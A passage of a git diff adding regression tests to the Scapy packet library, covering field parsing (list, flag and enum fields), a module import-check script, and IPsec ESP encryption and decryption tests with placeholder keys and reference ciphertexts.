+= Complex packet
+~ field lengthfield ccc
+class TestPkt(Packet):
+    fields_desc = [ ByteField("f1",65),
+                    ShortField("f2",0x4244) ]
+    def extract_padding(self, p):
+        return "", p
+
+class TestPLF2(Packet):
+    fields_desc = [ FieldLenField("len1", None, count_of="plist", fmt="H",
+                                  adjust=lambda pkt, x: x + 2),
+                    FieldLenField("len2", None, length_of="plist", fmt="I",
+                                  adjust=lambda pkt, x: (x + 1) // 2),
+                    PacketListField("plist", None, TestPkt,
+                                    length_from=lambda x: (x.len2 * 2) // 3 * 3) ]
+
+a=TestPLF2()
+raw(a)
+assert( _ == b"\x00\x02\x00\x00\x00\x00" )
+
+a.plist=[TestPkt(),TestPkt(f1=100)] 
+raw(a)
+assert(_ == b'\x00\x04\x00\x00\x00\x03ABDdBD')
+
+a /= "123456"
+b = TestPLF2(raw(a))
+b.show()
+assert(b.len1 == 4 and b.len2 == 3)
+assert(b[TestPkt].f1 == 65 and b[TestPkt].f2 == 0x4244)
+assert(b[TestPkt:2].f1 == 100)
+assert(Raw in b and b[Raw].load == b"123456")
+
+a.plist.append(TestPkt(f1=200))
+b = TestPLF2(raw(a))
+b.show()
+assert(b.len1 == 5 and b.len2 == 5)
+assert(b[TestPkt].f1 == 65 and b[TestPkt].f2 == 0x4244)
+assert(b[TestPkt:2].f1 == 100)
+assert(b[TestPkt:3].f1 == 200)
+assert(b.getlayer(TestPkt,4) is None)
+assert(Raw in b and b[Raw].load == b"123456")
+hexdiff(a,b)
+assert( raw(a) == raw(b) )
+
+############
+############
++ Tests on TCPOptionsField
+
+= Test calls on TCPOptionsField.getfield
+
+assert TCPOptionsField("test", "").getfield(TCP(dataofs=0), "") == ('', [])
+
+
+############
+############
++ PacketListField tests
+
+= Create a layer
+~ field lengthfield
+class TestPLF(Packet):
+    name="test"
+    fields_desc=[ FieldLenField("len", None, count_of="plist"),
+                  PacketListField("plist", None, IP, count_from=lambda pkt:pkt.len) ]
+
+= Test the PacketListField assembly
+~ field lengthfield
+x=TestPLF()
+raw(x)
+_ == b"\x00\x00"
+
+= Test the PacketListField assembly 2
+~ field lengthfield
+x=TestPLF()
+x.plist=[IP()/TCP(), IP()/UDP()]
+raw(x)
+_.startswith(b'\x00\x02E')
+
+= Test disassembly
+~ field lengthfield
+x=TestPLF(plist=[IP()/TCP(seq=1234567), IP()/UDP()])
+TestPLF(raw(x))
+_.show()
+IP in _ and TCP in _ and UDP in _ and _[TCP].seq == 1234567
+
+= Nested PacketListField
+~ field lengthfield
+y=IP()/TCP(seq=111111)/TestPLF(plist=[IP()/TCP(seq=222222),IP()/UDP()])
+TestPLF(plist=[y,IP()/TCP(seq=333333)])
+_.show()
+IP in _ and TCP in _ and UDP in _ and _[TCP].seq == 111111 and _[TCP:2].seq==222222 and _[TCP:3].seq == 333333
+
+= Complex packet
+~ field lengthfield ccc
+class TestPkt(Packet):
+    fields_desc = [ ByteField("f1",65),
+                    ShortField("f2",0x4244) ]
+    def extract_padding(self, p):
+        return "", p
+
+class TestPLF2(Packet):
+    fields_desc = [ FieldLenField("len1", None, count_of="plist",fmt="H",
+                                  adjust=lambda pkt,x: x + 2),
+                    FieldLenField("len2", None, length_of="plist", fmt="I",
+                                  adjust=lambda pkt, x: (x + 1) // 2),
+                    PacketListField("plist", None, TestPkt,
+                                    length_from=lambda x: (x.len2 * 2) // 3 *3) ]
+
+a=TestPLF2()
+raw(a)
+assert( _ == b"\x00\x02\x00\x00\x00\x00" )
+
+a.plist=[TestPkt(),TestPkt(f1=100)] 
+raw(a)
+assert(_ == b'\x00\x04\x00\x00\x00\x03ABDdBD')
+
+a /= "123456"
+b = TestPLF2(raw(a))
+b.show()
+assert(b.len1 == 4 and b.len2 == 3)
+assert(b[TestPkt].f1 == 65 and b[TestPkt].f2 == 0x4244)
+assert(b[TestPkt:2].f1 == 100)
+assert(Raw in b and b[Raw].load == b"123456")
+
+a.plist.append(TestPkt(f1=200))
+b = TestPLF2(raw(a))
+b.show()
+assert(b.len1 == 5 and b.len2 == 5)
+assert(b[TestPkt].f1 == 65 and b[TestPkt].f2 == 0x4244)
+assert(b[TestPkt:2].f1 == 100)
+assert(b[TestPkt:3].f1 == 200)
+assert(b.getlayer(TestPkt,4) is None)
+assert(Raw in b and b[Raw].load == b"123456")
+hexdiff(a,b)
+assert( raw(a) == raw(b) )
+
+= Create layers for heterogeneous PacketListField
+~ field lengthfield
+TestPLFH1 = type('TestPLFH1', (Packet,), {
+    'name': 'test1',
+    'fields_desc': [ByteField('data', 0)],
+    'guess_payload_class': lambda self, p: conf.padding_layer,
+    }
+)
+TestPLFH2 = type('TestPLFH2', (Packet,), {
+    'name': 'test2',
+    'fields_desc': [ShortField('data', 0)],
+    'guess_payload_class': lambda self, p: conf.padding_layer,
+    }
+)
+class TestPLFH3(Packet):
+    name = 'test3'
+    fields_desc = [
+        PacketListField(
+            'data', [],
+            next_cls_cb=lambda pkt, lst, p, remain: pkt.detect_next_packet(lst, p, remain)
+        )
+    ]
+    def detect_next_packet(self, lst, p, remain):
+        if len(remain) < 3:
+            return None
+        if isinstance(p, type(None)):
+            return TestPLFH1
+        if p.data & 3 == 1:
+            return TestPLFH1
+        if p.data & 3 == 2:
+            return TestPLFH2
+        return None
+
+= Test heterogeneous PacketListField
+~ field lengthfield
+
+p = TestPLFH3(b'\x02\x01\x01\xc1\x02\x80\x04toto')
+assert(isinstance(p.data[0], TestPLFH1))
+assert(p.data[0].data == 0x2)
+assert(isinstance(p.data[1], TestPLFH2))
+assert(p.data[1].data == 0x101)
+assert(isinstance(p.data[2], TestPLFH1))
+assert(p.data[2].data == 0xc1)
+assert(isinstance(p.data[3], TestPLFH1))
+assert(p.data[3].data == 0x2)
+assert(isinstance(p.data[4], TestPLFH2))
+assert(p.data[4].data == 0x8004)
+assert(isinstance(p.payload, conf.raw_layer))
+assert(p.payload.load == b'toto')
+
+p = TestPLFH3(b'\x02\x01\x01\xc1\x02\x80\x02to')
+assert(isinstance(p.data[0], TestPLFH1))
+assert(p.data[0].data == 0x2)
+assert(isinstance(p.data[1], TestPLFH2))
+assert(p.data[1].data == 0x101)
+assert(isinstance(p.data[2], TestPLFH1))
+assert(p.data[2].data == 0xc1)
+assert(isinstance(p.data[3], TestPLFH1))
+assert(p.data[3].data == 0x2)
+assert(isinstance(p.data[4], TestPLFH2))
+assert(p.data[4].data == 0x8002)
+assert(isinstance(p.payload, conf.raw_layer))
+assert(p.payload.load == b'to')
+
+= Create layers for heterogeneous PacketListField with memory
+~ field lengthfield
+TestPLFH4 = type('TestPLFH4', (Packet,), {
+    'name': 'test4',
+    'fields_desc': [ByteField('data', 0)],
+    'guess_payload_class': lambda self, p: conf.padding_layer,
+    }
+)
+TestPLFH5 = type('TestPLFH5', (Packet,), {
+    'name': 'test5',
+    'fields_desc': [ShortField('data', 0)],
+    'guess_payload_class': lambda self, p: conf.padding_layer,
+    }
+)
+class TestPLFH6(Packet):
+    __slots__ = ['_memory']
+    name = 'test6'
+    fields_desc = [
+        PacketListField(
+            'data', [],
+            next_cls_cb=lambda pkt, lst, p, remain: pkt.detect_next_packet(lst, p, remain)
+        )
+    ]
+    def detect_next_packet(self, lst, p, remain):
+        if isinstance(p, type(None)):
+            self._memory = [TestPLFH4] * 3 + [TestPLFH5]
+        try:
+            return self._memory.pop(0)
+        except IndexError:
+            return None
+
+= Test heterogeneous PacketListField with memory
+~ field lengthfield
+
+p = TestPLFH6(b'\x01\x02\x03\xc1\x02toto')
+assert(isinstance(p.data[0], TestPLFH4))
+assert(p.data[0].data == 0x1)
+assert(isinstance(p.data[1], TestPLFH4))
+assert(p.data[1].data == 0x2)
+assert(isinstance(p.data[2], TestPLFH4))
+assert(p.data[2].data == 0x3)
+assert(isinstance(p.data[3], TestPLFH5))
+assert(p.data[3].data == 0xc102)
+assert(isinstance(p.payload, conf.raw_layer))
+assert(p.payload.load == b'toto')
+
+
+############
+############
++ Tests on MultiFlagsField
+
+= Test calls on MultiFlagsField.any2i
+~ multiflagsfield
+
+import collections
+MockPacket = collections.namedtuple('MockPacket', ['type'])
+
+f = MultiFlagsField('flags', set(), 3, {
+        0: {
+            0: MultiFlagsEntry('A', 'OptionA'),
+            1: MultiFlagsEntry('B', 'OptionB'),
+        },
+        1: {
+            0: MultiFlagsEntry('+', 'Plus'),
+            1: MultiFlagsEntry('*', 'Star'),
+        },
+    },
+    depends_on=lambda x: x.type
+)
+
+mp = MockPacket(0)
+x = f.any2i(mp, set())
+assert(isinstance(x, set))
+assert(len(x) == 0)
+x = f.any2i(mp, {'A'})
+assert(isinstance(x, set))
+assert(len(x) == 1)
+assert('A' in x)
+assert('B' not in x)
+assert('+' not in x)
+x = f.any2i(mp, {'A', 'B'})
+assert(isinstance(x, set))
+assert(len(x) == 2)
+assert('A' in x)
+assert('B' in x)
+assert('+' not in x)
+assert('*' not in x)
+x = f.any2i(mp, 3)
+assert(isinstance(x, set))
+assert(len(x) == 2)
+assert('A' in x)
+assert('B' in x)
+assert('+' not in x)
+assert('*' not in x)
+x = f.any2i(mp, 7)
+assert(isinstance(x, set))
+assert(len(x) == 3)
+assert('A' in x)
+assert('B' in x)
+assert('bit 2' in x)
+assert('+' not in x)
+assert('*' not in x)
+mp = MockPacket(1)
+x = f.any2i(mp, {'+', '*'})
+assert(isinstance(x, set))
+assert(len(x) == 2)
+assert('+' in x)
+assert('*' in x)
+assert('A' not in x)
+assert('B' not in x)
+try:
+    x = f.any2i(mp, {'A'})
+    ret = False
+except AssertionError:
+    ret = True
+
+assert(ret)
+#Following test demonstrate a non-sensical yet acceptable usage :(
+x = f.any2i(None, {'Toto'})
+assert('Toto' in x)
+
+= Test calls on MultiFlagsField.i2m
+~ multiflagsfield
+
+import collections
+MockPacket = collections.namedtuple('MockPacket', ['type'])
+
+f = MultiFlagsField('flags', set(), 3, {
+        0: {
+            0: MultiFlagsEntry('A', 'OptionA'),
+            1: MultiFlagsEntry('B', 'OptionB'),
+        },
+        1: {
+            0: MultiFlagsEntry('+', 'Plus'),
+            1: MultiFlagsEntry('*', 'Star'),
+        },
+    },
+    depends_on=lambda x: x.type
+)
+
+mp = MockPacket(0)
+x = f.i2m(mp, set())
+assert(isinstance(x, six.integer_types))
+assert(x == 0)
+x = f.i2m(mp, {'A'})
+assert(isinstance(x, six.integer_types))
+assert(x == 1)
+x = f.i2m(mp, {'A', 'B'})
+assert(isinstance(x, six.integer_types))
+assert(x == 3)
+x = f.i2m(mp, {'A', 'B', 'bit 2'})
+assert(isinstance(x, six.integer_types))
+assert(x == 7)
+try:
+    x = f.i2m(mp, {'+'})
+    ret = False
+except:
+    ret = True
+
+assert(ret)
+
+= Test calls on MultiFlagsField.m2i
+~ multiflagsfield
+
+import collections
+MockPacket = collections.namedtuple('MockPacket', ['type'])
+
+f = MultiFlagsField('flags', set(), 3, {
+        0: {
+            0: MultiFlagsEntry('A', 'OptionA'),
+            1: MultiFlagsEntry('B', 'OptionB'),
+        },
+        1: {
+            0: MultiFlagsEntry('+', 'Plus'),
+            1: MultiFlagsEntry('*', 'Star'),
+        },
+    },
+    depends_on=lambda x: x.type
+)
+
+mp = MockPacket(0)
+x = f.m2i(mp, 2)
+assert(isinstance(x, set))
+assert(len(x) == 1)
+assert('B' in x)
+assert('A' not in x)
+assert('*' not in x)
+
+x = f.m2i(mp, 7)
+assert(isinstance(x, set))
+assert('B' in x)
+assert('A' in x)
+assert('bit 2' in x)
+assert('*' not in x)
+assert('+' not in x)
+x = f.m2i(mp, 0)
+assert(len(x) == 0)
+mp = MockPacket(1)
+x = f.m2i(mp, 2)
+assert(isinstance(x, set))
+assert(len(x) == 1)
+assert('*' in x)
+assert('+' not in x)
+assert('B' not in x)
+
+= Test calls on MultiFlagsField.i2repr
+~ multiflagsfield
+
+import collections, re
+MockPacket = collections.namedtuple('MockPacket', ['type'])
+
+f = MultiFlagsField('flags', set(), 3, {
+        0: {
+            0: MultiFlagsEntry('A', 'OptionA'),
+            1: MultiFlagsEntry('B', 'OptionB'),
+        },
+        1: {
+            0: MultiFlagsEntry('+', 'Plus'),
+            1: MultiFlagsEntry('*', 'Star'),
+        },
+    },
+    depends_on=lambda x: x.type
+)
+
+mp = MockPacket(0)
+x = f.i2repr(mp, {'A', 'B'})
+assert(re.match(r'^.*OptionA \(A\).*$', x) is not None)
+assert(re.match(r'^.*OptionB \(B\).*$', x) is not None)
+mp = MockPacket(1)
+x = f.i2repr(mp, {'*', '+', 'bit 2'})
+assert(re.match(r'^.*Star \(\*\).*$', x) is not None)
+assert(re.match(r'^.*Plus \(\+\).*$', x) is not None)
+assert(re.match(r'^.*bit 2.*$', x) is not None)
+
+############
+############
++ EnumField tests
+
+= EnumField tests initialization
+
+# Basic EnumField
+f = EnumField('test', 0, {0: 'Foo', 1: 'Bar'})
+# Reverse i2s/s2i
+rf = EnumField('test', 0, {'Foo': 0, 'Bar': 1})
+# EnumField initialized with a list
+lf = EnumField('test', 0, ['Foo', 'Bar'])
+# EnumField with i2s_cb/s2i_cb
+fcb = EnumField('test', 0, (
+        lambda x: 'Foo' if x == 0 else 'Bar' if 1 <= x <= 10 else repr(x),
+        lambda x: 0 if x == 'Foo' else 1 if x == 'Bar' else int(x),
+    )
+)
+
+def expect_exception(e, c):
+    try:
+        eval(c)
+        return False
+    except e:
+        return True
+
+
+= EnumField.any2i_one
+~ field enumfield
+
+assert(f.any2i_one(None, 'Foo') == 0)
+assert(f.any2i_one(None, 'Bar') == 1)
+assert(f.any2i_one(None, 2) == 2)
+expect_exception(KeyError, 'f.any2i_one(None, "Baz")')
+
+assert(rf.any2i_one(None, 'Foo') == 0)
+assert(rf.any2i_one(None, 'Bar') == 1)
+assert(rf.any2i_one(None, 2) == 2)
+expect_exception(KeyError, 'rf.any2i_one(None, "Baz")')
+
+assert(lf.any2i_one(None, 'Foo') == 0)
+assert(lf.any2i_one(None, 'Bar') == 1)
+assert(lf.any2i_one(None, 2) == 2)
+expect_exception(KeyError, 'lf.any2i_one(None, "Baz")')
+
+assert(fcb.any2i_one(None, 'Foo') == 0)
+assert(fcb.any2i_one(None, 'Bar') == 1)
+assert(fcb.any2i_one(None, 5) == 5)
+expect_exception(ValueError, 'fcb.any2i_one(None, "Baz")')
+
+True
+
+= EnumField.any2i
+~ field enumfield
+
+assert(f.any2i(None, 'Foo') == 0)
+assert(f.any2i(None, 'Bar') == 1)
+assert(f.any2i(None, 2) == 2)
+expect_exception(KeyError, 'f.any2i(None, "Baz")')
+assert(f.any2i(None, ['Foo', 'Bar', 2]) == [0, 1, 2])
+
+assert(rf.any2i(None, 'Foo') == 0)
+assert(rf.any2i(None, 'Bar') == 1)
+assert(rf.any2i(None, 2) == 2)
+expect_exception(KeyError, 'rf.any2i(None, "Baz")')
+assert(rf.any2i(None, ['Foo', 'Bar', 2]) == [0, 1, 2])
+
+assert(lf.any2i(None, 'Foo') == 0)
+assert(lf.any2i(None, 'Bar') == 1)
+assert(lf.any2i(None, 2) == 2)
+expect_exception(KeyError, 'lf.any2i(None, "Baz")')
+assert(lf.any2i(None, ['Foo', 'Bar', 2]) == [0, 1, 2])
+
+assert(fcb.any2i(None, 'Foo') == 0)
+assert(fcb.any2i(None, 'Bar') == 1)
+assert(fcb.any2i(None, 5) == 5)
+expect_exception(ValueError, 'fcb.any2i(None, "Baz")')
+assert(f.any2i(None, ['Foo', 'Bar', 5]) == [0, 1, 5])
+
+True
+
+= EnumField.i2repr_one
+~ field enumfield
+
+assert(f.i2repr_one(None, 0) == 'Foo')
+assert(f.i2repr_one(None, 1) == 'Bar')
+expect_exception(KeyError, 'f.i2repr_one(None, 2)')
+
+assert(rf.i2repr_one(None, 0) == 'Foo')
+assert(rf.i2repr_one(None, 1) == 'Bar')
+expect_exception(KeyError, 'rf.i2repr_one(None, 2)')
+
+assert(lf.i2repr_one(None, 0) == 'Foo')
+assert(lf.i2repr_one(None, 1) == 'Bar')
+expect_exception(KeyError, 'lf.i2repr_one(None, 2)')
+
+assert(fcb.i2repr_one(None, 0) == 'Foo')
+assert(fcb.i2repr_one(None, 1) == 'Bar')
+assert(fcb.i2repr_one(None, 5) == 'Bar')
+assert(fcb.i2repr_one(None, 11) == repr(11))
+
+conf.noenum.add(f, rf, lf, fcb)
+
+assert(f.i2repr_one(None, 0) == repr(0))
+assert(f.i2repr_one(None, 1) == repr(1))
+assert(f.i2repr_one(None, 2) == repr(2))
+
+assert(rf.i2repr_one(None, 0) == repr(0))
+assert(rf.i2repr_one(None, 1) == repr(1))
+assert(rf.i2repr_one(None, 2) == repr(2))
+
+assert(lf.i2repr_one(None, 0) == repr(0))
+assert(lf.i2repr_one(None, 1) == repr(1))
+assert(lf.i2repr_one(None, 2) == repr(2))
+
+assert(fcb.i2repr_one(None, 0) == repr(0))
+assert(fcb.i2repr_one(None, 1) == repr(1))
+assert(fcb.i2repr_one(None, 5) == repr(5))
+assert(fcb.i2repr_one(None, 11) == repr(11))
+
+conf.noenum.remove(f, rf, lf, fcb)
+
+assert(f.i2repr_one(None, RandNum(0, 10)) == '<RandNum>')
+assert(rf.i2repr_one(None, RandNum(0, 10)) == '<RandNum>')
+assert(lf.i2repr_one(None, RandNum(0, 10)) == '<RandNum>')
+assert(fcb.i2repr_one(None, RandNum(0, 10)) == '<RandNum>')
+
+True
+
+= EnumField.i2repr
+~ field enumfield
+
+assert(f.i2repr(None, 0) == 'Foo')
+assert(f.i2repr(None, 1) == 'Bar')
+expect_exception(KeyError, 'f.i2repr(None, 2)')
+assert(f.i2repr(None, [0, 1]) == ['Foo', 'Bar'])
+
+assert(rf.i2repr(None, 0) == 'Foo')
+assert(rf.i2repr(None, 1) == 'Bar')
+expect_exception(KeyError, 'rf.i2repr(None, 2)')
+assert(rf.i2repr(None, [0, 1]) == ['Foo', 'Bar'])
+
+assert(lf.i2repr(None, 0) == 'Foo')
+assert(lf.i2repr(None, 1) == 'Bar')
+expect_exception(KeyError, 'lf.i2repr(None, 2)')
+assert(lf.i2repr(None, [0, 1]) == ['Foo', 'Bar'])
+
+assert(fcb.i2repr(None, 0) == 'Foo')
+assert(fcb.i2repr(None, 1) == 'Bar')
+assert(fcb.i2repr(None, 5) == 'Bar')
+assert(fcb.i2repr(None, 11) == repr(11))
+assert(fcb.i2repr(None, [0, 1, 5, 11]) == ['Foo', 'Bar', 'Bar', repr(11)])
+
+conf.noenum.add(f, rf, lf, fcb)
+
+assert(f.i2repr(None, 0) == repr(0))
+assert(f.i2repr(None, 1) == repr(1))
+assert(f.i2repr(None, 2) == repr(2))
+assert(f.i2repr(None, [0, 1, 2]) == [repr(0), repr(1), repr(2)])
+
+assert(rf.i2repr(None, 0) == repr(0))
+assert(rf.i2repr(None, 1) == repr(1))
+assert(rf.i2repr(None, 2) == repr(2))
+assert(rf.i2repr(None, [0, 1, 2]) == [repr(0), repr(1), repr(2)])
+
+assert(lf.i2repr(None, 0) == repr(0))
+assert(lf.i2repr(None, 1) == repr(1))
+assert(lf.i2repr(None, 2) == repr(2))
+assert(lf.i2repr(None, [0, 1, 2]) == [repr(0), repr(1), repr(2)])
+
+assert(fcb.i2repr(None, 0) == repr(0))
+assert(fcb.i2repr(None, 1) == repr(1))
+assert(fcb.i2repr(None, 5) == repr(5))
+assert(fcb.i2repr(None, 11) == repr(11))
+assert(fcb.i2repr(None, [0, 1, 5, 11]) == [repr(0), repr(1), repr(5), repr(11)])
+
+conf.noenum.remove(f, rf, lf, fcb)
+
+assert(f.i2repr_one(None, RandNum(0, 10)) == '<RandNum>')
+assert(rf.i2repr_one(None, RandNum(0, 10)) == '<RandNum>')
+assert(lf.i2repr_one(None, RandNum(0, 10)) == '<RandNum>')
+assert(fcb.i2repr_one(None, RandNum(0, 10)) == '<RandNum>')
+
+True
+
+############
+############
++ CharEnumField tests
+
+= Building expect_exception handler
+~ field charenumfield
+
+def expect_exception(e, c):
+    try:
+        eval(c)
+        return False
+    except e:
+        return True
+
+
+= CharEnumField tests initialization
+~ field charenumfield
+
+fc = CharEnumField('test', 'f', {'f': 'Foo', 'b': 'Bar'})
+fcb = CharEnumField('test', 'a', (
+    lambda x: 'Foo' if x == 'a' else 'Bar' if x == 'b' else 'Baz',
+    lambda x: 'a' if x == 'Foo' else 'b' if x == 'Bar' else ''
+))
+
+True
+
+= CharEnumField.any2i_one
+~ field charenumfield
+
+assert(fc.any2i_one(None, 'Foo') == 'f')
+assert(fc.any2i_one(None, 'Bar') == 'b')
+expect_exception(KeyError, 'fc.any2i_one(None, "Baz")')
+
+assert(fcb.any2i_one(None, 'Foo') == 'a')
+assert(fcb.any2i_one(None, 'Bar') == 'b')
+assert(fcb.any2i_one(None, 'Baz') == '')
+
+True
+
+############
+############
++ XShortEnumField tests
+
+= Building expect_exception handler
+~ field xshortenumfield
+
+def expect_exception(e, c):
+    try:
+        eval(c)
+        return False
+    except e:
+        return True
+
+
+= XShortEnumField tests initialization
+~ field xshortenumfield
+
+f = XShortEnumField('test', 0, {0: 'Foo', 1: 'Bar'})
+fcb = XShortEnumField('test', 0, (
+    lambda x: 'Foo' if x == 0 else 'Bar' if x == 1 else lhex(x),
+    lambda x: x
+))
+
+True
+
+= XShortEnumField.i2repr_one
+~ field xshortenumfield
+
+assert(f.i2repr_one(None, 0) == 'Foo')
+assert(f.i2repr_one(None, 1) == 'Bar')
+assert(f.i2repr_one(None, 0xff) == '0xff')
+
+assert(f.i2repr_one(None, 0) == 'Foo')
+assert(f.i2repr_one(None, 1) == 'Bar')
+assert(f.i2repr_one(None, 0xff) == '0xff')
+
+True
+
+############
+############
++ DNSStrField tests
+
+= Raise exception - test data
+
+dnsf = DNSStrField("test", "")
+assert(dnsf.getfield("", b"\x01x\x00") == (b"", b"x."))
+
+try:
+    dnsf.getfield("", b"\xff")
+    assert(False)
+except (Scapy_Exception, IndexError):
+    pass
diff --git a/test/import_tester b/test/import_tester
new file mode 100644
index 0000000..eebaba6
--- /dev/null
+++ b/test/import_tester
@@ -0,0 +1,3 @@
+#! /bin/bash
+cd "$(dirname $0)/.."
+find scapy -name '*.py' | sed -e 's#/#.#g' -e 's/\(\.__init__\)\?\.py$//'  | while read a; do echo "######### $a"; python -c "import $a"; done
diff --git a/test/ipsec.uts b/test/ipsec.uts
new file mode 100644
index 0000000..39e758e
--- /dev/null
+++ b/test/ipsec.uts
@@ -0,0 +1,3733 @@
+##############################
+% IPsec layer regression tests
+##############################
+
+~ crypto
+
+###############################################################################
++ IPv4 / ESP - Transport - Encryption Algorithms
+
+#######################################
+= IPv4 / ESP - Transport - NULL - NULL
+~ -crypto
+
+import socket
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='NULL', crypt_key=None,
+                         auth_algo='NULL', auth_key=None)
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+assert(b'testdata' in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+#######################################
+= IPv4 / ESP - Transport - DES - NULL
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='DES', crypt_key=b'8bytekey',
+                         auth_algo='NULL', auth_key=None)
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+* the encrypted packet should have an ESP layer
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+# Generated with Linux 4.4.0-62-generic #83-Ubuntu
+# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \
+#    mode tunnel enc 'cbc(des)' '0x38627974656b6579' auth digest_null '' flag align4
+ref = IP() \
+    / ESP(spi=0x222,
+          data=b'\x0f\x6d\x2f\x3d\x1e\xc1\x0b\xc2\xb6\x8f\xfd\x67\x39\xc0\x96\x2c'
+               b'\x17\x79\x88\xf6\xbc\x4d\xf7\x45\xd8\x36\x63\x86\xcd\x08\x7c\x08'
+               b'\x2b\xf8\xa2\x91\x18\x21\x88\xd9\x26\x00\xc5\x21\x24\xbf\x8f\xf5'
+               b'\x6c\x47\xb0\x3a\x8e\xdb\x75\x21\xd9\x33\x85\x5a\x15\xc6\x31\x00'
+               b'\x1c\xef\x3e\x12\xce\x70\xec\x8f\x48\xc7\x81\x9b\x66\xcb\xf5\x39'
+               b'\x91\xb3\x8e\x72\xfb\x7f\x64\x65\x6c\xf4\xa9\xf2\x5e\x63\x2f\x60',
+          seq=1)
+
+d_ref = sa.decrypt(ref)
+d_ref
+
+* Check for ICMP layer in decrypted reference
+assert(d_ref.haslayer(ICMP))
+
+#######################################
+= IPv4 / ESP - Transport - 3DES - NULL
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='3DES', crypt_key=b'threedifferent8byteskeys',
+                         auth_algo='NULL', auth_key=None)
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+* the encrypted packet should have an ESP layer
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+# Generated with Linux 4.4.0-62-generic #83-Ubuntu
+# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \
+#   mode tunnel enc 'cbc(des3_ede)' '0x7468726565646966666572656e743862797465736b657973' auth digest_null '' flag align4
+ref = IP() \
+    / ESP(spi=0x222,
+          data=b'\x36\x5c\x9b\x41\x37\xc8\x59\x1e\x39\x63\xe8\x6b\xf7\x0d\x97\x54'
+               b'\x13\x84\xf6\x81\x66\x19\xe7\xcb\x75\x94\xf1\x0b\x8e\xa3\xf1\xa0'
+               b'\x3e\x88\x51\xc4\x50\xd0\xa9\x1f\x16\x25\xc6\xbd\xe9\x0b\xdc\xae'
+               b'\xf8\x13\x00\xa3\x8c\x53\xee\x1c\x96\xc0\xfe\x99\x70\xab\x94\x77'
+               b'\xd7\xc4\xe8\xfd\x9f\x96\x28\xb8\x95\x20\x86\x7b\x19\xbc\x8f\xf5'
+               b'\x96\xb0\x7e\xcc\x04\x83\xae\x4d\xa3\xba\x1d\x44\xf0\xba\x2e\xcd',
+          seq=1)
+
+d_ref = sa.decrypt(ref)
+d_ref
+
+* Check for ICMP layer in decrypted reference
+assert(d_ref.haslayer(ICMP))
+
+#######################################
+= IPv4 / ESP - Transport - AES-CBC - NULL
+
+p = IP(src='1.1.1.1', dst='2.2.2.2')
+p /= TCP(sport=45012, dport=80)
+p /= Raw('testdata')
+p = IP(raw(p))
+p
+
+sa = SecurityAssociation(ESP, spi=0x222,
+                         crypt_algo='AES-CBC', crypt_key=b'sixteenbytes key',
+                         auth_algo='NULL', auth_key=None)
+
+e = sa.encrypt(p)
+e
+
+assert(isinstance(e, IP))
+assert(e.src == '1.1.1.1' and e.dst == '2.2.2.2')
+assert(e.chksum != p.chksum)
+assert(e.proto == socket.IPPROTO_ESP)
+assert(e.haslayer(ESP))
+assert(not e.haslayer(TCP))
+assert(e[ESP].spi == sa.spi)
+* after encryption the original packet payload should NOT be readable
+assert(b'testdata' not in e[ESP].data)
+
+d = sa.decrypt(e)
+d
+
+* after decryption the original packet payload should be unaltered
+assert(d[TCP] == p[TCP])
+
+# Generated with Linux 4.4.0-62-generic #83-Ubuntu
+# ip xfrm state add src 10.125.0.2 dst 10.125.0.1 proto esp spi 546 reqid 1 \
+#   mode tunnel enc 'cbc(aes)' '0x7369787465656e6279746573206b6579' auth digest_null '' flag align4
+ref = IP() \
+    / ESP(spi=0x222,
+          data=b'\x08\x2f\x94\xe6\x53\xd8\x8e\x13\x70\xe8\xff\x61\x52\x90\x27\x3c'
+               b'\xf2\xb4\x1f\x75\xd2\xa0\xac\xae\x1c\xa8\x5e\x1c\x78\x21\x4c\x7f'
+               b'\xc3\x30\x17\x6a\x8d\xf3\xb1\xa7\xd1\xa8\x42\x01\xd6\x8d\x2d\x7e'
+               b'\x5d\x06\xdf\xaa\x05\x27\x42\xb1\x00\x12\xcf\xff\x64\x02\x5a\x40'
+               b'\xcd\xca\x1b\x91\xba\xf8\xc8\x59\xe7\xbd\x4d\x19\xb4\x8d\x39\x25'
+               b'\x6c\x73\xf1\x2d\xaa\xee\xe1\x0b\x71\xcd\xfc\x11\x1d\x56\xce\x60'
+               b'\xed\xd2\x32\x87\xd4\x90\xc3\xf5\x31\x47\x97\x69\x83\x82\x6d\x38',
+          seq=1)
+
